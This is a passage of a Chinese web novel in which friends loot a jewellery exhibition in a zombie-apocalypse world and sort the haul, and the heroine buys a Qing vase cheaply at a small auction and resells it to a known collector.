家务做完，孟甜甜力气恢复许多，上前接替苏娇娇。 大家互相帮忙，今晚这一车货只用了两小时全部搬完，堆放在189号院子里。 萧妧妧好不容易歇下来，气喘吁吁地抹汗，转身看到几乎爆满状态的小院，无奈苦笑。 苏娇娇提议：“正好，要不现在送点东西过去？” 萧妧妧忙不迭点头，有气无力回到小卖部。 苏娇娇回到房间大致整理了一下，提前赶到送货点，老规矩打发走船工。 所谓的小船其实并不小，和之前送货的货船差不多，但负责任务不同。 这一艘小船每隔一段时间送来一批物资，以便大家日常生活。 从人员到物资再到工具以及资金，全程由苏家出资支持，所以苏娇娇才不怕被人发觉异样。 萧妧妧见她准备好，唰唰唰把今晚零元购得来的中药材塞过去一大半。 剩下一小半数量不多，丢空间和下一批物资一起送过去完全没问题。 苏娇娇没时间歇息，马不停蹄安排人运货。 萧妧妧这里同样有得忙，她要整理空间和库房。 孟甜甜最轻松，只等积蓄体力离开三甲医院，前往附近的展览中心。 萧妧妧忙到一半，笑着回应她：“我们这一晚上净忙着偷鸡摸狗了，果然，人在做坏事的时候永远不嫌累。” 零元购的时候有多开心，后续处理就有多糟心。 不说物资存放问题，光一个西药分类问题就不小。 西药送到苏娇娇那里，一切文字信息都将抹去，其他物资倒是无所谓，不妨碍使用，可药物不一样。 送走之前，她们要自己规划清楚，由苏娇娇记录下药物信息和使用宜忌，方便她后续匿名捐赠。 整箱偷来的西药好办，零散找来的药品最麻烦，相比之下，中药材处理起来最不费事。 孟甜甜忽然说道：“我在山顶挑了个别墅区，面积够大，地下室和车库有四五百平，回头把我放在库房里的那些东西搬过去吧。它们堆在院子里不好看。” 之前没找到合适落脚点，孟甜甜采购的发电机净水器等物资，一直存放在自己房间和189库房。 眼看着萧妧妧为物资的存放问题发愁，孟甜甜善解人意地提出要转移自己的物资。 如果萧妧妧需要，孟甜甜想了想，她可以顺道霸占隔壁别墅，当做仓库使用。 反正她那里没有一个活人，做好防御措施，是个相当不错的仓储点。 萧妧妧摸了摸鼻尖，低声道谢。 她没好意思说是自己偷懒造成的尴尬局面，如果仔细打理的话，并不会出现物资爆满塞不下的情况。 毕竟空间有限，她采买物资多少会注意点。 但有一点她很心动。 “真的可以随便挑别墅吗？你帮我占一个吧，听你的，当仓库用。” 免费仓库谁舍得拒绝啊，反正萧妧妧不能。 堆在月牙湾66号看起来不错，却需要她来回跑，急用物资的时候难免不方便，暂且只能当个中转站。 孟甜甜点头：“别墅区让我搜刮了一遍，可以确定只有我一个人。我隔壁有一家很不错，末世前没人住，末世后也不担心突然有人，而且院墙紧挨着，我回头加固别墅的时候可以顺带一起加固了，再把院墙打通装一道门，不麻烦。” 孟甜甜说的全是好处，萧妧妧越听越心动，果断选择它当仓库。 两人说话间，苏娇娇顺利解决完她那里的事情，急忙回来集合。 “接下来抢那里？” 苏娇娇摩拳擦掌，一副跃跃欲试的姿态。 两人看过去，不禁笑出声。 苏娇娇不知道她们笑什么，她们也没想说，孟甜甜起身穿防寒服，戴头盔。 准备完毕，孟甜甜提上电锯回到医院药房仓库。 隔了三个多小时，周围又有了新变化，调离的丧尸要么在街区游荡要么回到医院附近。 孟甜甜提前准备了障碍物挡在窗口附近，她赶到出入口位置时，外面一阵阵抓挠的动静，伴随丧尸的嗬嗬声。 她没敢打灯观察，仅凭耳朵分辨了一会，数量不少的样子。 老办法，继续调虎离山。 反复操作几次，出入口的丧尸陆续被引走，孟甜甜瞅准时机翻了出去，飞快远离。 重新坐上电动越野轮椅，孟甜甜小小松了一口气，加速往隔壁一条街区的展览中心赶。 展览中心一楼空置，二楼留着出租做展厅用，末世后暴雨来袭，彻底淹没了一楼，连原本高大的树木都只剩下半截树冠，草丛似的露在冰面上。 所幸，她们的目的地展览中心二楼勉强保持了原貌。 孟甜甜观望片刻，展厅外的广场游荡着几十只丧尸，难度不大，就是麻烦些。 硬砍的话需要点时间，她选择省事一点的方法。 玻纤箭接连射出去，临近建筑的玻璃窗应声碎裂，空无一人的城市里，罕见的噪音吸引了周边丧尸，纷纷往一处汇集。 孟甜甜等身边的丧尸远离后，随机选择一丛树冠，装满动物血淋淋肝脏的塑料袋甩了两圈扔到树杈上。 才挂上去没多久，血腥味四散，嗅觉异常灵敏的丧尸闻着味赶来。 如此几次操作下来，附近每棵绿化树树冠上都挂了这么一袋丧尸诱捕器，吸引了附近绝大多数丧尸在树下聚集，然后试图向上攀爬。 围绕展厅的广场已然空荡荡，看不到一只尸，孟甜甜放心坐着轮椅直奔二楼。 长长的弧形阶梯淹没得只剩下四五阶，收了轮椅三两步迈上去，展厅门口溅满血迹的广告牌映入眼帘。 借着雪月交晖的光芒，依稀可以辨认出上面的大字。 “国际高级珠宝展……”孟甜甜确认地址正确，背上复合弓，抽出寒光闪闪的长刀横在身前，“就是这里了，你们先等等。” 展厅黑漆漆，不晓得什么情况，孟甜甜不敢掉以轻心，决定像之前一样，制造小声量的噪音，吸引隐藏在暗处的丧尸，骗出一起杀。 她小心翼翼地向展厅深处推进，过了安检口，进入二道门，她当机立断选择关门，防止外面丧尸进入。 长刀上下翻飞，如砍瓜切菜一般砍了数十只丧尸，再没有其他危险因素后，孟甜甜收起长刀，取出锤子，轻车熟路地砸柜台。 一家店接着一家店，没有丝毫犹豫和停顿，头顶探照灯掠过展柜，有玻璃反射的冷光，更多的是各色宝石璀璨的火彩，成片在漆黑展厅绽放。 结界这边，目睹孟甜甜的一举一动，萧妧妧心潮澎湃，忍不住托起脸蛋嘿嘿傻笑。 这可是高级珠宝展啊，好东西全是她的了！ 【作者有话说】 突然发现零元购情节写了好多，可是不劳而获的感觉真爽啊 感谢读者“熙妍”,灌溉营养液 +2 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“嗜归”,灌溉营养液 +30 感谢读者“小张”,灌溉营养液 +1 183 第183章 ◎分赃也是个体力活◎ 孟甜甜调整头顶灯光,变为远光模式，方便她们看个清楚。 她站在一片狼藉中，旋转身体环视两边。 “钻石、宝石、翡翠，喜欢哪个？”孟甜甜阔气询问。 不等苏娇娇思考选择,萧妧妧抢先接话：“我才不选呢,全都要。” 国际珠宝展,大多是高级货,即便中低档也比外面市场上的好一个档次，总之不会假。 难得有机会将它们全部收入囊中,萧妧妧一点不挑。 苏娇娇闻言，重重点头附和。 孟甜甜失笑,从珠宝区1号柜台开始，不论什么材质,贵的便宜的，连着首饰盒一起打包装袋。 挂在玻璃橱窗展示的首饰她索性连展示台一起搬回来,才扫荡了两家店,蛇皮袋撑得合不拢。 萧妧妧一边兴奋,一边手忙脚乱地检查首饰。 丧尸爆发后,展厅变得乱糟糟,到处是血污和碎玻璃渣，藏在柜台里的珠宝首饰们难免遭殃。 萧妧妧一连在三四个首饰盒上检查出血迹，心里膈应，找来酒精、清水,分别擦拭它们，擦完转移到自己准备的首饰收纳柜保存。 高档稀有的顶级珠宝得到妥善保护,大多保存完好,一如既往的娇贵美艳,无需费事。 中低档珠宝不全被污渍沾染，擦净后检查是否被碎玻璃划出痕迹即可，总体而言不算多麻烦。 即便麻烦，萧妧妧也甘之如饴。 这是一个侧重于设计、工艺、交流的珠宝文化展，可以想象这里的珠宝有多么精美、特别，全是工匠与设计师的炫技、炫富之作。 而除去顶级货，每家品牌同样准备了常规、批量生产的中档次珠宝，用以吸引客户购买。 这些中档次珠宝首饰为方便销售，全部明码标价，价签还完整系在上面。 萧妧妧顺带扫了一眼价签，哪怕是所谓的中档低档，价格也没便宜到哪去。 常规的几万几十万不等，特别一点的设计上百万左右，独一无二的设计款更是贵到离谱。 萧妧妧看看珠宝，又看看价签，直接笑出声。 运气真好啊，这下连估价的步骤都省去了。 考虑到两个位面的价格体系差异，只需按照一定比例下调即可正常出售。 萧妧妧摸了摸下巴，忍不住琢磨起来，不知道不破斋卖彩宝、钻石会不会像翡翠那样成功。 “别琢磨了，再去拿个首饰柜过来，要大一点的。”苏娇娇打断她的畅想。 两人配合着给珠宝做清理，速度可不慢，前后总共半小时左右，已经塞满了一个大容量的落地首饰柜。 萧妧妧嚯了一声，把首饰柜塞空间，又放出另一个首饰柜。 随着孟甜甜扫荡熟练度增加，一袋又一袋珠宝扔进来，萧妧妧苏娇娇两人配合都显得吃力。 她们手忙脚乱忙了一通，也只来得及清理，没工夫将它们一一摆放好。 萧妧妧索性不去管收纳的问题，清理完堆放在一边，最后再说。 一个展区一个展区过去，萧妧妧擦完钻石擦彩宝，擦完彩宝擦翡翠，翡翠好不容易清理到一半，后面还有四袋子和田玉。 孟甜甜：“别急，这里还有三袋金首饰呢，够你擦很久的。” 听起来是个好消息，沉重的好消息。 萧妧妧泄气地垮下肩膀，原来分赃也是个体力活。 苏娇娇呼出一口气，活动肩颈：“还是个细致的体力活。” 两人齐齐叹气。 好在刚把翡翠清理完，孟甜甜那里结束了扫荡，整个展厅除了丧尸残骸，只剩下空荡荡的珠宝展示柜台。 孟甜甜见时间不早，让她们先忙着，自己趁机溜回别墅，展厅不安全。 等孟甜甜顺利回到她在末世的老巢，脱了防寒服回到小卖部，抬眼就看到铺了满地板的钻石、黄金、翡翠。 她揉了揉眼睛，哇出声。 “我抢了这么多回来？” 萧妧妧生无可恋地指向身后三个同等规格的首饰收纳柜，“不止，已经装了五个柜子了，那边还有三袋黄金没解决。” 再喜欢黄金珠宝，萧妧妧这会也说不出甘之如饴这句话。 孟甜甜见状，一屁股坐下，拿来软布沾了清水，轻柔擦拭起钻石胸针。 在三人不间断的哈欠中，这批抢来的、计算不清具体数量的珠宝，终于在凌晨4点清理完毕。 萧妧妧数了数，1米长、0.8米宽，1.2米高的大容量首饰收纳柜，一共塞了34个，11层抽屉塞得满当当、挨挨挤挤的那种。 她不禁庆幸，幸好早早惦记着让孟甜甜去一趟珠宝展，她也早早准备了收纳柜，否则这么多东西就得胡乱塞在一起，暴殄天物。 萧妧妧收了所有收纳柜，依次抱了抱孟甜甜、苏娇娇。 “幸好有你们。”拖长的音调黏黏糊糊，像小孩子哼哼唧唧的撒娇。 萧妧妧一个人绝对不可能这么迅速的解决。 苏娇娇同样给了孟甜甜一个热情的拥抱。 “我也要谢谢你。” 孟甜甜张开双臂用力回抱她们，露出疲惫却灿烂的笑容：“你们用得上就最好不过啦。” 天际微白的时候，三人总算躺在了床上，带着幸福微笑入睡。 柳如烟提着食盒进了后院，回看小卖部和院子里乱糟糟的痕迹，奇怪地挠头。 她放下食盒，抱起平板，喜滋滋陷进沙发里追综艺。 萧妧妧是在一阵夸张的笑声中清醒，还想再睡会，忽然想起留了一堆杂事没处理干净，哀嚎着爬起。 清晨才入睡，即便睡到中午也不到8小时，萧妧妧困倦地打哈欠，踉踉跄跄来到院中。 没多久，孟甜甜跟着摇摇晃晃出来，满脸写着“想睡觉”三个字。 柳如烟拆了一袋辣条，吃得津津有味，眼珠子在两人身上瞄过，含糊问：“你们昨晚做贼去啦？怎么看起来随时要晕过去似的。” 萧妧妧有气无力地说：“恭喜你，猜对了。” 孟甜甜幽幽回复：“不是贼哦，是珠宝大盗。” 柳如烟暂停咀嚼，辨认了两人的脸色，确定她们没在开玩笑，发出羡慕的喟叹。 “什么时候再去当大盗？我跟你们一起。” 柳如烟跃跃欲试，萧妧妧轻笑一声，果断应下。 人多好啊，多了帮干活的劳力。 孟甜甜不知道出于什么心态，一句没提醒，大约是被昨晚的珠宝伤到了吧。 萧妧妧解决了早午饭，先去小卖部把昨夜留下的垃圾清理掉，接着是打扫卫生，忙碌到1点左右，快递到了，是送去机构加急做全套鉴定的翡翠摆件。 杂七杂八的事情处理完，孟甜甜也把别墅地下室整理完毕，两人合力将库房的发电机、建筑材料等转移过去。 孟甜甜拎起工具箱，打算用一天时间在别墅围墙外焊一圈钢板，加固老巢。 钢板是她在建筑工地捡的，托萧妧妧弄回来存放，到这时才派上用场。 库房没了占地方的大家伙，一下子空旷许多，萧妧妧便安排昨夜送到的物资填进去。 一通忙，时间直接来到下午三点。 萧妧妧原定计划是去佳博看高古玉，现在看来完全赶不上，暂且跳过去，为晚上的行程做准备。 冲去身上黏腻汗渍，换上干净衣裳，萧妧妧昏昏欲睡，发誓今晚再不熬夜了。 正纠结要不要小小眯一会，睡到晚饭时刻，紧缩的院门咚咚咚响。 萧妧妧挠头，这时候怎么会有人客人？ 昨天傍晚开始，为了零元购行动顺利，她提前结束营业，并在院门和小卖部门口分别挂上暂不营业的标牌。 萧妧妧以为又是哪个不按时间送货的厂商，开门看到叶赛宁的温柔笑脸，不由诧异。 “阿姨，您又要采购啊？” 叶赛宁对上她茫然又惊恐的神色，忍俊不禁。 “不采购，今天带亲戚来你店里看看，他喜欢你店里的古董。” 叶赛宁让开半边身子，身后果然出现一个陌生人。 萧妧妧说一声欢迎，请他们进店。 这次没见黎行聿他爸，只有叶赛宁和另一个男的，叶赛宁没介绍他，萧妧妧也无意打听。 进了院子，叶赛宁只与她搭话，问店里古董或是说些有的没的。 交谈片刻，萧妧妧敏锐察觉他们不是来买古董的。 叶赛宁这时问道：“怎么挂上不营业的牌子了？我以为你不在店里呢，差点没敢来，听你爸妈说昨晚没回家睡在店里才来看看。” 萧妧妧敷衍回应：“这几天要忙着备货，顾不上。” 叶赛宁了然点头：“我看到你爸爸发的朋友圈了，生意真好。” 萧妧妧微微笑，心里疑惑越来越大。 叶赛宁的注意力既不在古董也不在那个亲戚身上，而是拉着她闲聊，至于那个陌生男人，说是看古董，背着双手像模像样在店里转悠，实则目光一直飘过来。 萧妧妧不知道他看谁，好奇望过去，对上男人视线才发觉他在打量自己。 出于礼貌，萧妧妧淡笑打招呼，用同样审视视线回敬。 陌生男人移开目光，片刻之后走了出来。 “看清楚了，确实还不错，回去好家里人商量商量。嫂子，咱们先回去吧？” 叶赛宁挑眉：“你这就看完了？” 男人看了看表：“看完了，晚上还有个饭局，要不我先走？” 叶赛宁笑容收敛，紧拧的眉头暴露了她的不满情绪。 “你先走吧，”叶赛宁没管男人，转过身笑容温和：“妧妧，有空了来阿姨家玩。” 萧妧妧笑着应声，目送两人先后匆忙离去。 孟甜甜凑到门边，“他们来做什么的？奇奇怪怪，那个男的看起来不像好人。” 萧妧妧深以为然，怎么黎行聿还有这样的亲戚啊。 不说长相如何，眼眸流露的态度和语气，不像善类。 但看叶赛宁反应，两人之间好像也没有多熟悉，甚至有些冷淡。 萧妧妧搞不懂他们，没多想。 她得抓紧时间补觉，吃完晚饭赶一场晚间举办的私人拍卖。 【作者有话说】 感谢读者“阿若”,灌溉营养液 +25 感谢读者“小张”,灌溉营养液 +1 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“安井”,灌溉营养液 +30 184 第184章 ◎斗彩绶带葫芦瓶◎ 私人拍卖非常小规模,藏在古玩交易市场深处。 如果不是孟有树极力推荐，萧妧妧绝对不会发现南市还有这样的去处。 她也想不到，这么小规模的拍卖能有什么好东西，让孟有树视它为幸运地。 孟有树是这么回复她的：“大漏小漏随处有,就看各人的眼力了。萧老板能买到文徵明的扇面,实力和运气肯定都不错,去私拍看看难保不会有收获。” 这一句说服了萧妧妧,她最近的运气确实还不错。 只是她没想到，连孟有树都听说她在杏问捡漏的事。 孟有树笑呵呵回她：“江老师在群里打听你呢,说你眼力好，好奇是谁家孩子。” 以萧妧妧的年纪,能有如此知识储备分辨出文徵明真迹，几位老藏家都不相信萧妧妧的运气一说,坚持认为她得到家族培养。 正好介绍人他们都熟悉，回头就在群里找孟有树打听。 孟有树摸着下巴咂嘴,颇为意外。 他以为萧妧妧买扇面全凭喜好,还认真地劝了几句,事后再看,他确实像个多嘴的小丑,人家心里门清。 萧妧妧收到消息后心里喜滋滋，让他们瞧不起人。 立秋之后天黑得越来越早，进入九月后更是明显，将将六点,天空已经蒙上深色的薄纱。 萧妧妧补了一觉，没见多清爽,反而更昏沉了一点。 透过窗户看到发暗的天色,孤寂感汹涌袭来,直到听见柳如烟没心没肺的欢笑。 来到院中，柳如烟翘着腿打游戏，苏娇娇补觉后回来处理药品分类的事。 189院子此刻堆满了大小箱子，等着处理。 萧妧妧打了个哈欠：“今晚没安排，我回来帮你一起整理。” 苏娇娇抬头看她打扮整齐，问：“你要出门？” 萧妧妧扫一眼时间，“有个小拍卖会要去看看。” 她掀了食盒盖子，摸出几块糕点解馋，和她们知会一声，骑上史努比离开。 古玩交易市场就在隔壁一条街，她熟悉得很*，仗着这份熟悉，她理所当然的迟到了。 匆匆办理竞拍资格，匆匆进入小厅，刚一坐下，拍卖开始。 私人小拍规模确实不大，却比萧妧妧想象的还要小。 没有所谓的预展，参加拍卖的人五花八门，可能是藏家，可能是遛弯的大爷，也可能是下班过来凑热闹的年轻人。 而藏品更没什么讲究了，直接往台上搬，展示过后直接进入竞价环节。 起拍价也很接地气，少则七八百、一二千，多则过万，不会再高了。 至于参加拍卖的买家，萧妧妧探头探脑望了一圈，估摸能有30多人，不算少。 她好奇张望的时候，第三件藏品流拍，第四件仿宋瓷的梅瓶端上台，起拍价3500。 萧妧妧打量两眼的工夫，台下已经有人举牌，价格抬到了6000 她还要再看，有人出价7400，顺利买走。 萧妧妧抿了抿嘴角，这地方能捡到漏？ 来都来了，总不能空手回去吧。 如此想着，萧妧妧往前挪了几排，方便看个清楚。 第十件拍品上台，一只有她手掌那么高的赏瓷，斗彩绶带葫芦瓶，古人拿在手里把玩的小物件。 仔细看了看，不是一眼假的东西，萧妧妧当即表示有竞价意愿，成功得到近距离观察的机会。 等她拿起葫芦瓶一看，忍不住嚯了一声。 清雍正御制，有点意思。 瞄一眼起拍价，萧妧妧迟疑两秒用了系统估价，看到系统给出210万的价格，她不禁雀跃起来。 她的眼睛就是尺！ 萧妧妧保持淡定神色，送还拍品。 竞价开始，加上萧妧妧总共三人竞拍，出价超过5000的时候只剩下两人，价格叫到9000的时候，另一位竞争者犹豫了。 萧妧妧以为胜券在握，中途加入拍卖的大叔却对另一位竞争者说：“我看东西还不错，有几分真，再加一点买回来不亏。” 萧妧妧多看他一眼，又去看另一人的神情。 那人仍在犹豫，在他看来东西还不错，但也只在万元左右。 拍卖师连问了两遍，无人竞价，“咚”一声，槌子落下。 “恭喜022号买家。” 清雍正御制的斗彩葫芦瓶，最终以9400元的价格收入萧妧妧囊中。 萧妧妧小小松了一口气，扬起灿烂笑容。 她对小拍卖行信任不足，当场去后台付款，再当着她的面打包。 回到前厅，竞拍进行到第十六件，萧妧妧多瞅一眼台上的冰梅瓶，造假痕迹明显，兴致缺缺地回到座位。 她打开盒子，一手捧起葫芦瓶，一手录制视频给孟有树发去，一起欣赏。 “丫头，你这葫芦瓶卖不卖？” 视频发送成功，萧妧妧打算塞回去的时候，身旁的塑料凳子传来嘎吱一声。 是的，私人小拍卖会就是如此简陋。 萧妧妧扭头，意外挑眉。 是刚才撺掇竞争者努把力拿下拍品的人，近看大约是4、50岁，穿着普通。 他来得晚，没能赶上葫芦瓶的竞拍，否则看他架势，萧妧妧得费点力气才能拿下东西。 萧妧妧微笑回应大叔：“不卖。” 中年大叔不见失望神色，而是指了指葫芦瓶：“你看出它来了？” 萧妧妧坦荡回答：“嗯，这件瓶子线条流畅比例严谨，一看就比仿的有质感。釉面莹润无晕散，宝光内敛，而且底款字迹工整，全对上了。” 中年大叔听她侃侃而谈，面露赞许。 萧妧妧话锋一转：“如果您真喜欢，我280万出。” 中年大叔一听，忍不住发出老钱笑声。 萧妧妧莫名看他一眼。 大叔掏出名片递来：“280万倒不算贵，咱们换个地方聊聊？” 萧妧妧刚到手的东西，不过几分钟就有人表示愿意买走，当下生出迟疑。 在看到名片印着“周逸”两字，三分迟疑变为八分。 280万开低了。 周逸，收藏圈知名藏家，热衷于古董瓷、书画收藏。 如果在这一品类里搞个排行榜，周逸能排进前五。 萧妧妧呼吸一窒，看他的眼神晶晶亮。 她掏出名片递上：“今晚还有拍卖，不如周先生改天去我店里看看，我经营了一家古董铺，在月牙巷。” 周逸意外片刻，接下名片。 “好，那就这么说定了。” 周逸装好名片，没再说话，注意力全放在台上。 萧妧妧搓了搓手，压下兴奋情绪，好半晌反应过来给孟有树回消息。 孟有树：周逸啊？正常，季度拍预展的时候，确实比平时容易撞见知名藏家。 他看上的东西肯定不差，我看280万差不多，不高不低，就是意外他会看上这件小玩意。 不是孟有树看不起东西，而是对于收藏圈里顶尖的藏家来说，小几百万的不足以吸引他们出手。 毕竟眼光在那，实力在那，加上浸淫多年，自有一套收藏体系，老藏家大多愿意买价格高昂且珍贵的稀有品。 斗彩葫芦瓶固然优质，却够不上珍贵稀有的档次。 不管目的如何，反正周逸看上了，那就是好事一件。 孟有树：你再多跑几个拍卖会，认识的藏家只会越来越多。 即便孟有树如此说，萧妧妧还是难掩激动。 一是碰到名人，二是得到名人认可，三是捡漏之后反手翻了将近500倍卖出去，换谁能淡定啊。 最令她感到窃喜的是，这件葫芦瓶可是她一眼认出的好东西，全凭自己的眼力实力，多值得骄傲啊。 萧妧妧偷着乐了一会，整理好情绪，继续看接下来的拍卖。 拍品依次展出，种类繁多，萧妧妧却再没见过值得出手的好东西。 到不是说东西假，而是那点小漏她看不上眼。 比如起拍价600，实际市场行情能有4000多的冰梅碗。 又比如2万起拍的清代仿唐伯虎的《山路松声图》，市场价可以卖出10-18万左右。 对于普通人而言，买几个回去玩玩顺便小赚一笔，非常合适。 对萧妧妧来说，这点小钱可有可无，她甚至懒得举牌子。 后半场拍卖，萧妧妧一次竞价的意思都没表露出来，旁边落座的周逸同样没出手。 直到拍卖结束，40件拍品展示完毕，萧妧妧估摸了一下，流拍率在50%左右，对于私人小拍卖会来说算中规中矩，甚至能说一句还不错。 散场的时候，周逸冲她颔首：“下次见，萧老板。” 萧妧妧微笑，“回见，周老师。” 把今晚捡漏的事分享给黎行聿，看到他的回复，萧妧妧才明白孟有树为什么会关注这种小规模的私拍。 普通民藏上不去大拍卖行，变现途径无非是古董铺和小拍卖行这几种，所以什么好的坏的都能见到。 孟有树长居南市，在古玩圈混久了总归比别人多点门路，听说这家小拍卖行不错，抱着试试看的心态参与进来。 好巧不巧，他刚好在这里找到祖辈收藏又流出去的小玩意，来一次找到一件。 接二连三之后，孟有树逢人便说自己与这家私拍有缘。 萧妧妧笑嘻嘻回应：我和它的缘分也不浅。 能帮她赚钱就是有缘。 回到小卖部天色黑透，柳如烟回去了，苏娇娇孟甜甜两人还在处理药品。 她哼着歌进门，孟甜甜了然道：“又捡漏了？” 萧妧妧嘿嘿笑，点头承认。 史努比停回树下墙根处，她拎起包装袋从里面扒出葫芦瓶给她们欣赏。 孟甜甜对珠宝了解比较多，古玩一窍不通，苏娇娇正好相反。 她接过东西仔细瞧了瞧，连声夸萧妧妧有眼力，挑了个真货回来。 萧妧妧吐槽：“买个真货可不容易了，现在造假手段花样百出，有几个我看着很不错的，最后发现全是上周出土的。” 白浪费几次估价机会，心疼。 苏娇娇：“那我去拍卖行的时候你可要好好掌掌眼，我看古董的眼光不如你。” 萧妧妧矜持微笑：“好说，好说。” 三人凑在一起嘻嘻哈哈，恼人的细致活都变得有趣起来。 【作者有话说】 感谢读者“哦了瓦特了”,灌溉营养液 +50 感谢读者“婷婷”,灌溉营养液 +1 185 第185章 ◎还有一家不破斋？◎ 9月5日,周四，晴转多云。 萧妧妧起了个大早，挑拣出三十五枚宝石戒指、十条宝石项链、五枚钻石胸针，以及十只和田玉镯,准备打包送去机构鉴定。 翡翠“卖断货”的日子,萧妧妧打算靠它们填补空缺,交替上架。 戒指手镯通通戴上手,胸针别在领口，萧妧妧举着沉重的双手来到院中,趁着阳光正好，拍个上新预告。 两臂交叉在胸前,刚好完美展示手镯戒指，从锁骨到脖颈的区域不是项链就是胸针,同样戴得满当当。 帮忙拍照的孟甜甜哇了好几声，让她换了好几个姿势。 “左手叉腰,右手摸肩……对,扭起来。放心,不拍脸。” “抬起胳膊,一上一下挡在脸前……对对对,侧一点，头低下来，让阳光照下来，火彩棒极了。” 果然还是女孩子更懂彼此的点,无需萧妧妧指导，孟甜甜就有许多想法。 看到成品图,萧妧妧发出惊喜的爆鸣。 真好看。 人好看,胳膊好看,胳膊上的珠宝更好看。 本意是偷懒一次性拍完，谁知道拍出了人生照片。 萧妧妧抱着手机喜滋滋，恨不得马上开始P图。 “赶紧把东西摘了吧，看着怪担心的。” 萧妧妧嘴上答应了，动作完全相反，举起手机忙着自拍。 孟甜甜摇摇头，坐在树下纠结早饭吃什么。 萧妧妧拍到满意照片，及时打住，摘了珠宝一一包好，再把照片整理成合集发布。 匆忙吃过早饭，照例先去鉴定机构一趟。 和田玉送玉石鉴定机构，宝石钻石则送去C大鉴定中心。 来回奔波，赶到随园看预展已是上午十点。 这个时间刚刚好，才开展，萧妧妧踩着点来，又一次惊呆了。 等待参观预展的人竟在高古玉区的大厅前排起长队，而队伍尽头，大门甚至是紧闭状态。 这么火爆啊？ 萧妧妧咋舌，顺手翻开图录，看看有没有重点藏品。 十点过二十分，排在队尾的萧妧妧勉强迈入展厅。 一进门，到处挨挨挤挤，宽敞展厅摆着一排排桌子，每排桌子设20个隔断开的小区域，上面摆放台灯放大镜纸巾等工具。 而长桌两边，一边守着戴白手套的安保，一边坐满前来参观的买家，座位后面排起长短不一的队伍。 有人心急等不了，伸着脑袋向前探，趁前一人端详时，试图蹭两眼。 看到引导牌上的“调阅区”三个字，萧妧妧总算明白为什么会大排长队。 大家都想早点看完所有展品。 萧妧妧默了默，4排80件高古玉藏品，每看一件排个三五分钟甚至更久，一个上午恐怕都要耗在高古玉区。 看展确实是个辛苦活啊，考验体力耐力，还考验眼力财力。 萧妧妧不喜欢排队，又不能转身离开，于是踮着脚走进队伍里，这个看看那个望望，遇到不错的就估价。 逛到两排，她一错眼，意外在一堆高古玉中间发现送拍的碧玉如意，看起来挺受欢迎，排了七八人等着看它。 按她这种囫囵吞枣的参观法，12点过10分左右，高古玉观展任务顺利结束。 萧妧妧在图录上标下自己才能看懂的记号，脚步一转，去隔壁院子瞅瞅当代艺术品。 当代艺术品不是她的目标，于是没怎么研究过图录，只是来都来了，而且门对门，总得看两眼。 萧妧妧闲庭散步，刚散进去没两秒，她选择散出来。 理解不了。 油画版画倒罢了，潮玩竟有一大堆，萧妧妧多瞄两眼正当红的拉布布，以及过气的十几款潮玩公仔，发出深深的质疑。 她送拍的古墨到底差哪了？凭什么？ 鼓着脸颊离开，她马不停蹄赶去另一座院子看翡翠玉石。 倒是没有买的打算，纯粹了解一下市场行情。 送拍的翡翠拍品质量参差不齐，便宜的上百万，贵的上千万，最高档的精品与她手上的库存翡翠比起来，稍显逊色，与她自留珍藏的顶尖货比，那更是相距甚远。 偏偏那几件在她看来一般般的种水，调阅的参展顾客连声称赞，萧妧妧怀着一股无法明说的暗爽心情撤离。 16点整，萧妧妧离开随园往小卖部赶。 进门灌了半瓶水，约好上门买葫芦瓶的周逸踩着点出现。 萧妧妧温柔微笑，赶紧把人迎进院子。 “我这古董铺是新开的，周先生不妨看看，或许有你感兴趣的东西。” 周逸戴着草编帽，背着双手溜达进来。 趁萧妧妧取葫芦瓶的工夫，他果真在古董铺里转悠起来。 葫芦瓶放上桌面的时候，周逸正俯身盯着鎏金弥勒瞧。 萧妧妧清清嗓子：“周先生，这件葫芦瓶按昨天的报价算，一口价280万，您瞧瞧。” 周逸回过神，走到桌边坐下，扶了扶眼镜，捧起葫芦瓶仔细端详。 昨天和认识的藏家喝了下午茶，赶去参加拍卖的时候已经错过它，等他办理完竞拍资格，葫芦瓶早已落入萧妧妧手里。 当时只瞄了两眼，他已经有了七八分把握，细看下来，七八分变为十分。 他推了推眼镜：“我记得萧老板是花了一万拍下的吧？转手卖我280万，赚不少啊。” 萧妧妧一点不虚：“谢谢周老师夸奖，运气好让我捡着漏了。既然我们都能看出它的不凡，自然不能再用低廉价格埋没它。” 这种事在古玩收藏圈里屡见不鲜，算不上多夸张，周逸要是接受不了，当时就不会提出来店里看货呢。 况且周逸是知名藏家，葫芦瓶280落在他手上，随便放个几年，400万再转手出去，也多的是人抢。 这就是知名藏家的底气。 周逸笑着叹息：“这要是早去一步，可省下不少钱呢。” 萧妧妧瞬间明悟，拿来包装盒，准备开票据。 “您怎么支付？” 周逸把葫芦瓶放进盒子里，掏出手机，“转账。” 萧妧妧情不自禁咧嘴笑。 280万到账，周逸没急着走，又去看墙上的文徵明扇面。 “这就是杏问出去的那个？” 萧妧妧挑眉，“确实是从杏问买回来的。” 周逸笑笑点头，随口夸赞：“小丫头眼光不错。” 萧妧妧强忍着才没笑出声，抿紧唇角克制。 “打算卖吗？”顿了顿，他补充道：“我不买，帮别人问问。” 萧妧妧脑瓜子转动，不会是那什么秦教授江老师的吧？ 周逸哈哈笑，坦然承认：“就是他们，回去后抓耳挠腮，心里别提多刺挠了。” 那可不，眼睁睁错过一个漏，逢人便说心里多不是滋味。 萧妧妧只是没想到，收藏圈意外的小，彼此之间都熟识。 “他们愿意出多少？”萧妧妧好奇打听。 周逸：“400来万吧。” 萧妧妧失望，摇头拒绝：“不卖，送拍能奔着中七开呢。” 周逸附和：“我就说嘛，我要是你我也不卖。” 闲聊几句，周逸接过包装袋，垂眸扫一眼，正是萧妧妧昨天从私拍带回来的那套，失笑出声。 萧妧妧假装没懂他笑什么，继续推销：“我这古董铺还买翡翠、彩宝，您感兴趣的话，咱们加个联系方式，回头上新了给您发个消息。您别看我这店铺不大，翡翠可受欢迎呢，客人排队买。” 周逸诧异，排队买翡翠？ 萧妧妧知道他不会信，拉开展示柜下面几次抽屉，里面放满了她的库存。 手镯项链戒圈不要钱似的堆在一起，只有抽屉外面挂着的锁能证明它们其实还是值钱的。 周逸第一次见人这么存放翡翠，像路边摊批发售卖一样。 他随意捡起一只手镯，瞅两眼，暗暗点头。 种水确实不错，裂纹少，看起来是籽料。 “多少钱？”他问。 “没出鉴定证书呢，180万吧，等送去鉴定，那得200以上了。” 周逸琢磨一下价格，又一次诧异了。 